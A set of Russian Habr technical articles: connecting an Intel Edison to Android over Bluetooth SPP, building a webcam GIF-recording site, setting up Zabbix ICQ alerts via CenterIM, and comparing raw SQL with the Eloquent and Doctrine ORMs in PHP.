Статья [«Connecting the Intel Edison board to your Android Phone with Serial Port Profile (SPP)»](https://software.intel.com/en-us/articles/connecting-the-intel-edison-board-to-your-android-phone-with-serial-port-profile-spp) описывает, как подсоединить плату Intel Edison к Android телефону с SPP. Тем не менее, вы не сможете получить данные от SPP в коде Arduino. В статье [«Подключаемся к Intel Edison через Android с Bluetooth LE (BLE)»](http://habrahabr.ru/company/intel/blog/252919/) объясняется, как подключить Bluetooth через Arduino, но там требовался дополнительный Bluetooth шилд.
Но так как у нас есть встроенный Bluetooth, почему бы не использовать это преимущество? Здесь я предлагаю пример библиотеки, чтобы это сделать.
Один из эффективных способов общения между Arduino и Linux на Intel Edison, это использование mmap(). Об этом мы рассказывали в предыдущей статье [Эффективное взаимодействие между нативными процессами Arduino и Linux](http://geektimes.ru/company/intel/blog/261350/). Тем не менее, совсем не просто использовать блокировку в разделяемой памяти между процессом питона и Arduino процессом.
Таким образом, я выбрал именованные каналы (named pipes) как простейший способ организовать IPC (межпроцессорное взаимодействие) между процессом скетчем Arduino и Python процессом c Bluetooth SPP.
Установка сервиса Edison Bluetooth
----------------------------------
**1.** Скачайте файл [bluetooth-service.tar.gz](https://software.intel.com/sites/default/files/managed/6c/16/bluetooth-service.tar.gz).
**2.** Скопируйте файл bluetooth-service.tar.gz в папку /home/root/Bluetooth и распакуйте:
```
mkdir /home/root/bluetooth
cd /home/root/bluetooth
mv /home/root/bluetooth-service.tar.gz ./
tar -xvf bluetooth-service.tar.gz
```
**3.** Скопируйте файл bluetooth-spp-pin.service в папку /lib/systemd/system/:
```
cp bluetooth-spp-pin.service /lib/systemd/system
```
**4.** Включите сервис systemd:
```
systemctl enable bluetooth-spp-pin
```
**5.** Перезапустите ваше устройство:
```
reboot
```
**6.** Ещё раз проверьте сервис:
```
systemctl status bluetooth-spp-pin
```
Установка Arduino скетча на Edison
----------------------------------
1. Скачайте библиотеку [Intel-Edison-BT-SPP-Library.zip](https://software.intel.com/sites/default/files/managed/a7/45/Intel-Edison-BT-SPP-Library.zip).
2. Распакуйте файл в папку с библиотеками Arduino, например, C:\Users\username\Documents\Arduino\libraries. Путь можно проверьте в среде разработки Arduino IDE в меню File->Preferences->Sketchbook Location.
3. Перезапустите ваш Intel® Arduino IDE версии 1.6.0 или выше.
4. Откройте пример bt\_test из File->Examples->Intel Edison BT SPP Driver Library.
5. Проверьте и загрузите ваш скетч на плату Edison.
6. Откройте Serial Monitor, чтобы проверить вывод после того, как мы что-нибудь пошлём.
Настройте ваш телефон
---------------------
1. Скачайте и установите любое приложение для BT SPP из PlayStore. Например, [BLE\_SPP\_PRO](https://play.google.com/store/apps/details?id=mobi.dzs.android.BLE_SPP_PRO).
2. Включите Bluetooth на телефоне и присоединитесь к вашему Edison модулю.
3. Введите пин-код, по умолчанию это 8888. В дальнейшим его можно будет поменять в строке 70 в файле bluetooth-pin-service.py.
4. В приложении подключитесь к вашей плате Edison (myedison).
5. Пошлите что-нибудь на Edison, вы должны увидеть результат Serial Monitor в Arduino IDE.
Заключение:
-----------
Теперь у вас есть Bluetooth устройство с фиксированным пин-кодом, которое поддерживает SPP. Вы можете подключаться к нему так же просто, как и к Bluetooth колонкам. Bluetooth заработает автоматически сразу после включения, и даже не надо подсоединяться к устройству через терминал. Вы можете получить доступ к BT SPP в вашем Arduino коде, рассматривая его как последовательное устройство. И присоединится к Edison проекту через Android телефон с BT SPP приложением. Это означает, что вы можете управлять вашим проектом на Edison удаленно и делать, что вы хотите. Основываясь на этой работе, вы можете разрабатывать большое количество интересных приложений, используя встроенный Bluetooth на Intel Edison. Получайте удовольствие и делитесь с нами вашими проектами.
Следующие шаги:
---------------
Итак, мы только реализовали способ посылать команды с вашего BT SPP устройства на Edison. Вы можете добавить fifo чтобы посылать команды с Edison’а обратно на ваше BT SPP устройство. Так как это fifo, то ваше Linux приложение также получит преимущество, посылая команды в среду Arduino. Это действительно простой способ увеличить возможности взаимодействия с Arduino. Например, вы можете обрабатывать звук в Linux и посылать команды на Arduino через fifo. Или вы можете получать твиты из Node.js и затем посылать JSON на Arduino, чтобы взаимодействовать с существующими Arduino шилдами. Сейчас всё соединено! Вы также можете написать ваше собственное Android BT SPP приложение с большей интерактивностью! | https://habr.com/ru/post/383533/ | null | ru | null |
# Тысяча и одна gif
Всем привет!
Хотелось бы рассказать вам историю создания одного простенького развлекательного сервиса по записи gif’ок с веб-камеры при помощи HTML5 и JS. О том как решение на коленке на базе опенсорсных решений в одночасье произвело пусть хоть и маленький, но всплеск популярности волны от которого уже на протяжении полугода приносят небольшое количество посетителей которым полезен этот сервис.
##### А началось все просто
В конце лета обычным рабочим днем бороздя просторы GitHub я наткнулся на довольно интересный скрипт ([facetogif](https://github.com/hdragomir/facetogif)) на нативном JS и HTML5 позволяющий записывать ролики с веб-камеры в gif-анимацию. Была приложена даже рабочая демка заливающая готовые ролики на сервис [imgur](http://imgur.com) или позволяющая сохранить их сразу на жестком диске.
Эта идея показалась мне очень интересной и я решил с небольшими переделками реализовать ее в виде самостоятельного сервиса.
Сказано — сделано. В тот же вечер я форкнул репозиторий, зарегистрировал домен «вгиф.рф», поднял VPS (самый дешевый тариф за 5$) на DigitalOcean и написал простейший скрипт на php складирующий ролики прямо там на сервере.
Для экономии ресурсов на сервер установил только Nginx и PHP-FPM.
*первая версия сайта*
На следующее утро я поделился ссылкой на новоявленный сервис друзьям на [одном закрытом сообществе](http://bit.ly/1pOwjOh). И сервис встретили хорошо =) Постепенно в перерывах между работой я занялся небольшими доделками — добавил кнопки шаринга в VK и Twitter, а также подредактировал js чтобы можно было делать ролики только одного размера (для унификации). Ночью того же дня понял что домен в зоне рф это довольно плохая идея и зарегистрировал более красивый и интересный домен togif.me, на котором сервис и по сей день.
Наступила долгожданная суббота и я с самого утра решил заняться сайтом. Для начала сделал большой и красивый мануал с картинками и собой в главной роли, а затем выложил ее на развлекательном сайте [Pikabu](http://pikabu.ru) и стал ждать минусов (там рейтинговая система схожая с Reddit и Хабром). И тут стали появляться один за одним комментарии, с минусами вместе пошли и плюсы, а затем уже я заметил что свободное место на VPS стало постепенно уменьшаться. Поздно спохватился с прикручиванием Яндекс.Метрики. Прикрученная поздно вечером она показала около 700 уникальных посетителей. В то время к посту на Пикабу было уже около 500 комментариев. Ну а затем кто-то добрый выложил ссылку на сервис в посте на [Joyreactor](http://joyreactor.cc) и посещаемость увеличилась вновь! В воскресенье счетчик метрики застыл на отметке в 8 с лишним тысяч посетителей и 12 тысяч просмотров!
##### Технические подробности
И тут я понял что допустил одну досадную ошибку. Ролик можно было скачать или загрузить, но при загрузке пользователю выдавалась только скучная прямая ссылка на gif-файл. Не хватало каталога загруженных роликов чтобы можно было не только записать свой, но и посмотреть на других посетителей сайта!
Настала пора переписывать “сервис” который состоял из 1 статичной html-страницы, 1 опенсорсного js и скрипта upload.php.
###### Вариант 1
Так как поток посетителей не прерывался, а каталог хотелось здесь и сейчас то я накидал простенькую схему БД MySQL, подключил Idiorm для запросов к БД в стиле ООП, написал простенькие роутинги для отображения страниц каталога и самих картинок и еще добавил Disqus для возможности комментирования каждого ролика.
Где то в тот же период я стал эксперементировать со сжатием роликов и оказалось что imagemagick сжимает каждый из них минимум на 30%, а то и на все 70% =)
Связано это с тем что ролики генерируютя посредством js в браузере когда каждый фрейм снимается отдельно и затем они складываются в ролик. При этом подходе одинаковые части кадров повторяются в каждом фрейме.
За это время количество посетителей плавно таяло (с 1000 уников до 300 в течение сентября), но меня это не сильно беспокоило т.к. сервис сделан чисто себе в удовольствие и я радовался каждому новому записанному ролику. Очень приятно осознавать что сделал пусть что-то очень простое и не совсем свое, но полезное.
Далее я решил переписать все на Yii Framework и получился:
###### Вариант 2
Новшества:
* галочка для “непубличных” роликов (не отображаются в каталоге)- хранение новых загруженных роликов в [Selectel storage](http://selectel.ru/)
* генерация превьюшек при помощи imagemagick
* нанесение на ролики ватермарки со ссылкой на сайт (прямо во время записи)
* отдельная страничка с FAQ
* подсчет количества просмотров каждого ролика
* генерация более безопасных ссылок с рандомным количеством символов и добавлением даты (вместо /image/4r32njfi3.gif стало /2014/04/5e7eaed8bd.gif)
* возможность «отзеркаливания» записи
Хранение роликов я перенес в selectel storage т.к. захотелось более быстрой отдачи файлов для конечных посетителей. Готовый php-класс я позаимствовал у [Eugene Smith на GitHub](https://github.com/easmith/selectel-storage-php-class).
Для узнаваемости сайта было решено добавлять к каждому записанному ролику ватермарку. Причем хотелось чтобы даже просто сохраненный с браузера ролик уже ее имел. Для этой задачи я решил нагрузить пользовательские ресурсы и вот что получилось:
```
function recorder_fn(ctx, gif, frames) {
var coords = facetogif.recorderFrame(),
drawW = facetogif.gifSettings.w,
drawH = facetogif.gifSettings.h;
if(facetogif.p_flag==0 && facetogif.scale==1) {
ctx.translate(coords.w, 0);
ctx.scale(-1, 1);
}
return function () {
if (facetogif.video.src) {
ctx.drawImage(facetogif.video, coords.x,coords.y, coords.w,coords.h);
if (facetogif.scale==1) {
//Грязный хак с переворотами =)
ctx.translate(coords.w, 0);
ctx.scale(-1, 1);
ctx.fillStyle = "white";
ctx.font = "normal 20px Arial";
ctx.textBaseline = 'top';
ctx.fillText("ToGIF.me", 220, 220);
ctx.translate(coords.w, 0);
ctx.scale(-1, 1);
}
else {
//наложение ватермарки begin
ctx.fillStyle = "white";
ctx.font = "normal 20px Arial";
ctx.textBaseline = 'top';
ctx.fillText("ToGIF.me", 220, 220);
//наложение ватермарки end
}
var frame = ctx.getImageData(0,0, drawW,drawH);
frames.push(frame);
gif.addFrame(frame, {delay: facetogif.gifSettings.ms});
} else {
clearInterval(recorder.interval);
facetogif.recIndicator.classList.remove('on');
recorder.state = recorder.states.IDLE;
}
}
}
```
Ну и отзеркаливание роликов я добавил по той причине что если записывать ролик в обычном режиме то на ролике ваша правая рука станет левой и наоброт. Поэтому для перфекционистов я добавил подобный режим.
Более безопасные ссылки я начал генерировать для защиты пользователей от полного скачивания архивов тупым перебором ссылок т.к. те кто доверился мне и загрузил на сервер приватные ролики должны заслуживать защиты. Алгоритм по понятным причинам раскрывать не буду.
За это время основной сайт успел переехать с VPS на DigitalOcean на облачную виртуалку в Selectel, а старые ролики остались на месте и для ссылок вида togif.me/image/xxx.gif стали работать автоматические редиректы на old.togif.me/image/xxx.gif
Затем при отсутствии существенных плюсов и более высокой стоимости решения (5$ + 300 руб. + 150 руб. каждый месяц) для сайта по фану было решено начать экономить.
Новая конфигурация включает в себя — мощный шаред-хостинг на сервере вскладчину и selectel storage для новых роликов. Для каждой порции в 10Gb гифок я решил создавать отдельный поддомен и по набору этого объема я стал их переносить на шаред-хостинг т.к. места там много, траффик не лимитируется и скорость отдачи не так важна ибо ролики уже не новые.
Облачное же хранилище с высокими скоростями остается только для новых роликов которые отдаются и сохраняются с высокими скоростями. Теперь затраты на сайт около 200 руб. в месяц что в принципе терпимо.
Текущий стек технологий:
Nginx, Imagemagick, HTML5, JS, PHP, Yii, MySQL
Нерешенные проблемы:
* не работает запись роликов в Safari
* не работает запись роликов в Iphone,Ipad
Немного статистики:
* Запуск сервиса — 22.08.13
* Трафик за данный период — ~1Tb
* Загружено роликов — ~15000
* Уникальных посетителей — ~80 000
Выводы:
* Для каких то тяжелых операций иногда можно нагружать клиентские компьютеры и клиентский JS в этом случае является спасительным кругом
* Для тяжелых операций на сервере целесообразно применять что-то более производительное чем php. Картинки например оптимизируются утилитой convert
* Yii показывает довольно выскокую скорость работы даже без встроенного кеширования, но нужно обязательно включать настройки для production mode
* Flash постепенно уходит, но есть еще куча устройств и программ которые не поддерживают новомодные фичи HTML5
Вот так используя опенсорс-решения можно сделать довольно интересный и полезный людям проект который пусть и без прибыли, но и без особых затрат продолжает кого-то радовать. | https://habr.com/ru/post/218113/ | null | ru | null |
# Еще немного о Zabbix’е – настраиваем ICQ уведомления
На хабре уже довольно много писали про эту замечательную систему — [раз](http://habrahabr.ru/post/139165/), [два](http://habrahabr.ru/post/137641/), [три](http://habrahabr.ru/post/154723/), [четыре](http://habrahabr.ru/post/155321/), но хотелось бы вернуться к этой теме еще разок, и думаю не последний.
На моем текущем месте работы Zabbix замечательно общается с отделом СА в Jabber’е, но для дома было решено использовать другой тип уведомлений – ICQ.
Причин тому несколько – привычка к этой системе IM, нежелание дополнительного сервиса на следящей машине, да и любопытство – уведомления в Jabber’е работают из коробки, а ICQ нет.
##### Ставим ICQ
В качестве консольного IM клиента был выбран [CenterIM](http://ru.wikipedia.org/wiki/CenterIM), во первых по тому что только он оказался в используемых мной репозиториях CentOS, во вторых по тому что умеет UTF-8 и вообще отзывы о нем положительные.
Дальнейшие действия описываются на примере CentOS 6.3 x86\_64 и Zabbix 1.8.15
Ставим CenterIM из репозитория Epel, однократно запускаем его в терминале для указания нужных настроек:
**Remote charset: cp1251
Local charset: utf-8
ICQ UIN
ICQ Password**
[](http://habrastorage.org/storage2/158/6b7/96c/1586b796cfb24c809dc566a03ac2ce27.png) [](http://habrastorage.org/storage2/793/631/21f/79363121f4c838c8677a5deea62b86eb.png) [](http://habrastorage.org/storage2/995/072/dfb/995072dfb4523dbce663d8b1c7548aab.png)
Больше мы этот интерфейс не увидим.
После окончания настройки CenterIM создает папку **$HOME/.centerim/** для хранения настроек и истории бесед.
По умолчанию zabbix имеет хом-директорию в **/var/lib/zabbix** (которая же является его директорией для скриптов уведомлений).
Как следует из [документации](http://www.centerim.org/index.php/CenterIM4_Documentation) и [FAQ](http://www.centerim.org/index.php/CenterIM4_Frequently_Asked_Questions#Can_i_use_CenterIM_to_use_messages_from_within_another_shell_script.3F) для использования CenterIM из скриптов следует запускать рабочий процесс в screen, что мы и сделаем:
```
# стартуем CenterIM в screen от пользователя zabbix
su -m zabbix --shell=/bin/bash -c '/usr/bin/screen -d -m /usr/bin/centerim -b /var/lib/zabbix/.centerim/'
# передаем команду сменить статус ICQ на Online
/usr/bin/centerim -b /var/lib/zabbix/.centerim/ -S o -p icq
```
**Обратите внимание** – чтобы не напороться на мои грабли и не воевать с ошибкой «event sending error error creating directory for the contact» всегда явно указывайте директорию с конфигурацией:
**-b /var/lib/zabbix/.centerim/**
Теперь пишем маленький скрипт который будет принимать сообщение от Zabbix’а и передавать его в CenterIM:
```
#!/bin/sh
export receiver="$1"
export subject="$2"
export body="$3"
/bin/echo -e "[$subject] \n\n $body" | /usr/bin/centerim -b /var/lib/zabbix/.centerim/ -s msg -p icq -t $receiver
```
Все просто и понятно.
Скрипт лежит в **/var/lib/zabbix/icq**
##### Настраиваем Zabbix
Открываем веб-интерфейс Zabbix’а, идем в **Администрирование --> Способы оповещений** и создаем оповещение типа «скрипт» с каким-нибудь понятным именем.
Переходим в **Администрирование --> Пользователи** и указываем номер ICQ пользователю который будет принимать уведомления
[](http://habrastorage.org/storage2/1a5/65b/f34/1a565bf345298c1f78ee618a475eb0f7.png)
И напоследок создадим действие для реакции на триггеры и отсылки уведомлений
**Настройка --> Действия**
[](http://habrastorage.org/storage2/743/89c/921/74389c921884756b918db06b01ce8f8a.png)
Собственно все, можно пользоваться
[](http://habrastorage.org/storage2/dab/4f5/f07/dab4f5f079372b5d02019dba7fb8b7d1.png)
И напоследок пара красивых графиков – выделенный сервер MySQL радуется установке SSD:
 | https://habr.com/ru/post/164415/ | null | ru | null |
# SQL vs ORM
*Друзья, вновь пришло время авторской колонки корпоративного блога [**PG Day’17**](https://pgday.ru/ru/2017/request/registration?utm_source=habrahabr&utm_medium=blog&utm_campaign=varanio3). Предлагаем вашему вниманию сравнительный анализ работы с PostgreSQL из популярных ORM от [varanio](https://habrahabr.ru/users/varanio/).*
 ORM (Object-Relational Mapping), по идее, должен избавить нас от написания SQL запросов и, в идеале, вообще абстрагировать от базы данных (от способа хранения данных), чтобы мы могли работать с классами, в той или иной степени выражающими объекты бизнес-логики, не задаваясь вопросом, в каких таблицах всё это по факту лежит.
Посмотрим, насколько это удается современным библиотекам на PHP. Давайте рассмотрим несколько типичных кейсов и сравним ORM с голым SQL, написанным вручную.
Для примера возьмем две таблицы: книги и авторы книг, отношение многие-ко-многим (у книг может быть много авторов, у авторов может быть много книг). Т.е. в базе это будут books, authors и связующая таблица author\_book:
**Вот схема**
```
CREATE TABLE authors (
id bigserial,
name varchar(1000) not null,
primary key(id)
);
CREATE TABLE books (
id bigserial,
name VARCHAR (1000) not null,
text text not null,
PRIMARY KEY (id)
);
CREATE TABLE author_book (
author_id bigint REFERENCES authors(id),
book_id bigint REFERENCES books(id),
PRIMARY key(author_id, book_id)
);
```
Рассмотрим несколько кейсов использования.
Кейс 1. Создание записей
------------------------
Добавим авторов и книг.
### Голый SQL
Ну, тут всё просто и прямолинейно:
**Голый SQL**
```
$stmt = $pdo->prepare(
"INSERT INTO books (name, text) VALUES (:name, :text) RETURNING id"
);
$stmt->execute(
[':name' => 'Книга', ':text' => 'Текст']
);
$bookId = $stmt->fetchColumn();
$stmt = $pdo->prepare(
"INSERT INTO authors (name) VALUES (:name) RETURNING id"
);
$stmt->execute(
[':name' => 'Автор']
);
$authorId = $stmt->fetchColumn();
$pdo->prepare(
"INSERT INTO author_book (book_id, author_id) VALUES (:book_id, :author_id)"
)->execute(
[':book_id' => $bookId, ':author_id' => $authorId]
);
```
Многовато писанины. Можно не использовать прям совсем голый PDO, а взять что-нибудь чуть полаконичнее, какую-нибудь легкую обертку. Но в любом случае надо писать запросы вручную и знать синтаксис SQL.
### Laravel (Eloquent SQL)
В Laravel используется ORM под названием Eloquent. Eloquent — это, по сути, ActiveRecord, т.е. отображение таблиц на некие соответствующие им классы ("модели"), причем модель сама умеет себя сохранять.
Итак, делаем две модели. По умолчанию даже имена таблиц нигде указывать не надо, если они называются как классы. Надо указать $timestamps = false, чтобы не сохраняло автоматически время обновления модели.
**Классы моделей Eloquent**
```
namespace App;
use Illuminate\Database\Eloquent\Model;
class Book extends Model
{
public $timestamps = false;
public function authors()
{
return $this->belongsToMany(Author::class);
}
}
```
```
namespace App;
use Illuminate\Database\Eloquent\Model;
class Author extends Model
{
public $timestamps = false;
public function books()
{
return $this->belongsToMany(Books::class);
}
}
```
Как видно, мы запросто описали отношение many-to-many буквально парой строк кода. Создание записей в базе и связь между ними делается достаточно просто:
```
$book = new \App\Book;
$book->name = 'Книга';
$book->text = 'Текст';
$book->save();
$author = new \App\Author;
$author->name = 'Автор';
$author->save();
// делаем связь
$book->authors()->save($author);
```
Или списком:
```
$book = \App\Book::create(['name' => 'Книга', 'text' => 'Текст']);
$author = \App\Author::create(['name' => 'Автор']);
$book->authors()->save($author);
```
Так, конечно, поприятнее, чем возиться с SQL, и даже запись в связочную таблицу делается очень легко.
### Symfony (Doctrine ORM)
В доктрине используется подход DataMapper. По уверениям документации, объекты бизнес-логики отделены от способа сохранения. Здесь объекты получаются из Репозитория (Repository), т.е. сущность не знает как себя получить, это знает только Repository, а для сохранения потребуется EntityManager.
Сгенерировать классы из существующих таблиц можно одним движением:
```
bin/console doctrine:mapping:import --force AppBundle yml
bin/console doctrine:generate:entities AppBundle
```
Первая команда создаст yml-файлы для сущностей, описывающие типы полей в базе, взаимосвязь объектов (например, many-to-many) и т.д. Вторая команда создаст классы сущностей.
Прямо скажем, yml получились немаленькие, и они набиты подробностями о структуре таблиц и их связях. Вообще, можно обойтись и без yml, всё делая в аннотациях классов. Но когда классы сущностей совершенно отделены от базы, это больше соответствует концепции DDD.
Зато сами классы-сущности у нас получились совершенно простые, т.е. POJO (plain old php object):
**Классы-сущности**
```
namespace AppBundle\Entity;
/**
* Authors
*/
class Authors
{
/**
* @var integer
*/
private $id;
/**
* @var string
*/
private $name;
/**
* @var
\Doctrine\Common\Collections\Collection
*/
private $book;
/**
* Constructor
*/
public function __construct()
{
$this->book = new \Doctrine\Common\Collections\ArrayCollection();
}
/**
* Get id
*
* @return integer
*/
public function getId()
{
return $this->id;
}
/**
* Set name
*
* @param string $name
*
* @return Authors
*/
public function setName($name)
{
$this->name = $name;
return $this;
}
/**
* Get name
*
* @return string
*/
public function getName()
{
return $this->name;
}
/**
* Add book
*
* @param \AppBundle\Entity\Books $book
*
* @return Authors
*/
public function addBook(\AppBundle\Entity\Books $book)
{
$this->book[] = $book;
return $this;
}
/**
* Remove book
*
* @param \AppBundle\Entity\Books $book
*/
public function removeBook(\AppBundle\Entity\Books $book)
{
$this->book->removeElement($book);
}
/**
* Get book
*
* @return \Doctrine\Common\Collections\Collection
*/
public function getBook()
{
return $this->book;
}
}
```
```
namespace AppBundle\Entity;
/**
* Books
*/
class Books
{
/**
* @var integer
*/
private $id;
/**
* @var string
*/
private $name;
/**
* @var string
*/
private $text;
/**
* @var \Doctrine\Common\Collections\Collection
*/
private $author;
/**
* Constructor
*/
public function __construct()
{
$this->author = new \Doctrine\Common\Collections\ArrayCollection();
}
/**
* Get id
*
* @return integer
*/
public function getId()
{
return $this->id;
}
/**
* Set name
*
* @param string $name
*
* @return Books
*/
public function setName($name)
{
$this->name = $name;
return $this;
}
/**
* Get name
*
* @return string
*/
public function getName()
{
return $this->name;
}
/**
* Set text
*
* @param string $text
*
* @return Books
*/
public function setText($text)
{
$this->text = $text;
return $this;
}
/**
* Get text
*
* @return string
*/
public function getText()
{
return $this->text;
}
/**
* Add author
*
* @param \AppBundle\Entity\Authors $author
*
* @return Books
*/
public function addAuthor(\AppBundle\Entity\Authors $author)
{
$this->author[] = $author;
return $this;
}
/**
* Remove author
*
* @param \AppBundle\Entity\Authors $author
*/
public function removeAuthor(\AppBundle\Entity\Authors $author)
{
$this->author->removeElement($author);
}
/**
* Get author
*
* @return \Doctrine\Common\Collections\Collection
*/
public function getAuthor()
{
return $this->author;
}
}
```
Создаем объекты и сохраняем. Примерно так:
```
$em = $this->getDoctrine()->getManager();
$author = new Authors();
$author->setName("Автор");
$book = new Books();
$book->setName("Книга");
$book->setText("Текст");
$book->addAuthor($author);
$author->addBook($book);
$em->persist($book);
$em->persist($author);
$em->flush();
```
### Вывод
В целом, использование ORM для простых случаев создания записей в таблицах является более предпочтительным способом, чем чистый SQL. Методы setName и т.д. в коде читаются лучше, чем SQL-запрос. Нет жесткой зависимости от БД.
Кейс 2. Обновление названия книги
---------------------------------
### Голый SQL
```
$stmt = $pdo->prepare('UPDATE books SET name=:name WHERE id=:id');
$stmt->execute([
':name' => 'Книга 2', ':id' => 1
]);
```
### Laravel (Eloquent)
```
$book = \App\Book::find(1);
$book->name = 'Книга 2';
$book->save();
```
### Symfony
```
$em = $this->getDoctrine()->getManager();
$repository = $em->getRepository(Books::class);
$book = $repository->find(1);
$book->setName("Книга 2");
$em->persist($book);
```
### Вывод
Обновление какого-то поля в целом тоже вполне можно делать через ORM, не вдаваясь в детали SQL.
Кейс 3. Получить список названий книг с авторами
------------------------------------------------
Для тестов создадим такие записи в таблице:
**Данные**
```
delete from author_book;
delete from books;
delete from authors;
insert into authors
(id, name)
values
(1, 'Автор 1'),
(2, 'Автор 2'),
(3, 'Автор 3');
insert into books
(id, name, text)
values
(1, 'Книга 1', 'Много текста 1'),
(2, 'Книга 2', 'Много текста 2'),
(3, 'Книга 3', 'Много текста 3');
insert into author_book
(author_id , book_id)
values
(1,1),
(1,2),
(2,2),
(3,3);
```
### Голый SQL
Если брать голый SQL для вывода списка книг с авторами, то это будет примерно так (допустим, авторов хотим получить в виде json):
```
select
b.id as book_id,
b.name as book_name,
json_agg(a.name) as authors
from books b
inner join author_book ab
on b.id = ab.book_id
INNER join authors a
on ab.author_id = a.id
GROUP BY
b.id
```
Результат:
```
book_id | book_name | authors
---------+-----------+------------------------
1 | Книга 1 | ["Автор 1"]
3 | Книга 3 | ["Автор 3"]
2 | Книга 2 | ["Автор 1", "Автор 2"]
(3 rows)
```
Laravel
-------
Сделаем сначала втупую из мануалов а-ля "Getting Started":
```
$books = \App\Book::all();
/** @var $author \App\Author */
foreach ($books as $book) {
print $book->name . "\n";
foreach ($book->authors as $author) {
print $author->name . ";";
}
}
```
Код получился гораздо проще, чем голый SQL. Все просто и понятно, works like magic. Только при детальном рассмотрении магия там достаточно фиговая. Eloquent делает аж 4 запроса:
```
select * from "books";
-- и еще по запросу на каждую книгу:
select
"authors".*,
"author_book"."book_id" as "pivot_book_id",
"author_book"."author_id" as "pivot_author_id"
from "authors"
inner join "author_book"
on "authors"."id" = "author_book"."author_id"
where "author_book"."book_id" = ?
```
Для маленького ненагруженного сайта сойдет и так. Но если сайт нагружен и таблицы содержат много строк и данных, то это провал.
Во-первых, конструкции `select *` и `select authors.*`. За такое сразу партбилет на стол. Если книги будут "жирными" ("Война и Мир" или "Британская энциклопедия"), то ни к чему тянуть сразу их текст, когда нужен только список названий. К тому же, со временем в таблицах количество полей обычно все нарастает и нарастает, т.е. такое приложение будет работать всё медленнее и медленнее, жрать всё больше и больше памяти. Я уж не говорю о том, что количество запросов authors.\* равно количеству книг.
Что тут можно предпринять? Во-первых, можно указать, какие поля берем из книги, т.е `(['id', 'name'])`. Ну, и использовать with() для т.н. "eager loading". Итого:
```
$books = \App\Book::with('authors')->get(['id', 'name']);
```
Стало немного получше, но всё равно далеко от идеала:
```
select "id", "name" from "books";
select
"authors".*,
"author_book"."book_id" as "pivot_book_id",
"author_book"."author_id" as "pivot_author_id"
from "authors"
inner join "author_book"
on "authors"."id" = "author_book"."author_id"
where
"author_book"."book_id" in (?, ?, ?);
```
Тут две проблемы: authors идут всё равно со звездочкой. Кроме того, появился оператор in() с перечислением всех id, который нормально работает при маленьком количестве книг, но для большого списка это будет работать очень медленно, по крайней мере в PostgreSQL. Хотя, конечно, быстрее, чем по запросу на каждый. И с этим уже, похоже, ничего не сделать, по крайней мере я ничего не нашел.
Точнее, помимо ORM есть еще Query Builder:
```
$result = DB::table('books')
->join('author_book', 'books.id', '=', 'author_book.book_id')
->join('authors', 'author_book.author_id', '=', 'authors.id')
->select('books.id', 'books.name', 'authors.name')
->get();
```
Но это, повторяю, не ORM. Это тот же SQL, только вместо пробелов стрелочки и куча методов, которые надо знать дополнительно.
### Symfony
Для начала тоже попробуем по-простому:
```
$doctrine = $this->getDoctrine();
$books = $doctrine
->getRepository(Books::class)
->findAll();
foreach ($books as $book) {
print $book->getName() . "\n";
foreach ($book->getAuthor() as $author) {
print $author->getName() . ";";
}
}
```
Код первой попытки почти такой же как в Laravel. SQL-запросы, в общем, тоже:
```
SELECT
t0.id AS id_1,
t0.name AS name_2,
t0.text AS text_3
FROM books t0;
-- и еще 3 запроса таких:
SELECT
t0.id AS id_1,
t0.name AS name_2
FROM authors t0
INNER JOIN author_book
ON t0.id = author_book.author_id
WHERE
author_book.book_id = ?
```
Т.е. перечислены все поля, и по запросу на каждую книгу с перечислением, опять же, всех полей.
У стандартных методов типа findAll и т.д., похоже, нет способа указать, что мне надо только такие-то поля и сразу приджойнить такие-то таблицы. Но, зато в Доктрине есть SQL-подобный синтаксис DQL, абстрагированный от конкретной СУБД, которым можно воспользоваться. Он оперирует не таблицами, а сущностями.
```
$query = $this->getDoctrine()->getManager()->createQuery('
SELECT
partial b.{id, name}, partial a.{id, name}
FROM AppBundle\Entity\Books b
JOIN b.author a'
);
$books = $query->getResult();
```
Ну да, получилось типа того, что надо, один запрос, с одним полем:
```
SELECT
b0_.id AS id_0,
b0_.name AS name_1,
a1_.id AS id_2,
a1_.name AS name_3
FROM
books b0_
INNER JOIN author_book a2_
ON b0_.id = a2_.book_id
INNER JOIN authors a1_
ON a1_.id = a2_.author_id
```
### Выводы
На мой взгляд, простой SQL выглядит проще и стандартнее. Кроме того, в ORM-подходах мы не смогли полностью сферически абстрагироваться от базы данных, нам пришлось подстроиться под реальный мир.
DQL в принципе сойдет на замену SQL, и он не особо привязан к СУБД, но это еще один странноватый синтаксис, который надо учить отдельно.
Кейс 4. Чуть более сложный UPDATE
---------------------------------
Допустим, стоит задача обновить двум последним авторам имя на "Жорж".
### голый SQL
Тут всё просто, запрос с подзапросом.
```
UPDATE authors
SET name = 'Жорж'
WHERE id in (
SELECT id
FROM authors
ORDER BY id DESC
LIMIT 2
);
```
### Laravel
Сначала я попробовал сделать так:
```
\App\Author::orderBy('id', 'desc')->take(2)->update(["name" => "Жорж"]);
```
Это было бы здорово и красиво, однако не сработало. Точнее сработало, но заменило записи всем авторам, а не только двум.
Тогда, покурив мануал и SO, удалось родить такую конструкцию:
```
\App\Author::whereIn(
'id',
function($query) {
$query->select('id')
->from((new \App\Author())->getTable())
->orderBy('id', 'desc')
->limit(2);
}
)->update(['name' => 'Жорж']);
```
Это работает хорошо, хоть и не особо читабельно. Да и query builder опять какой-то подъехал.
### Symfony
Сразу скажу, что выразить через DQL мне этот запрос вообще не удалось, с вложенными подзапросами там всё плохо.
Есть, конечно, query builder, но получалось что-то совсем зубодробительное, и я бросил эту затею. ORM должен помогать экономить время, а не наоборот. Надеюсь, опытные симфонисты в коментах подскажут какой-нибудь легкий и изящный способ сделать update с подзапросом.
Вывод
-----
Несмотря на привлекательную идею использовать классы бизнес-логики и не вдаваться в детали реализации хранения данных, сделать это удается далеко не всегда.
Как всегда обычно и бывает, истина где-то посередине. Для простых CRUD-операций ORM вполне может сэкономить время разработки и улучшить читабельность кода. Однако шаг вправо, шаг влево — и гораздо удобнее пользоваться нативным SQL. Например, сложные выборки/обновления (особенно, аналитические отчеты с оконными функциями и рекурсивными CTE). Компромиссным вариантом является маппинг результатов нативных запросов на объекты, Доктрина это позволяет.
В споре ORM vs SQL не победил никто.
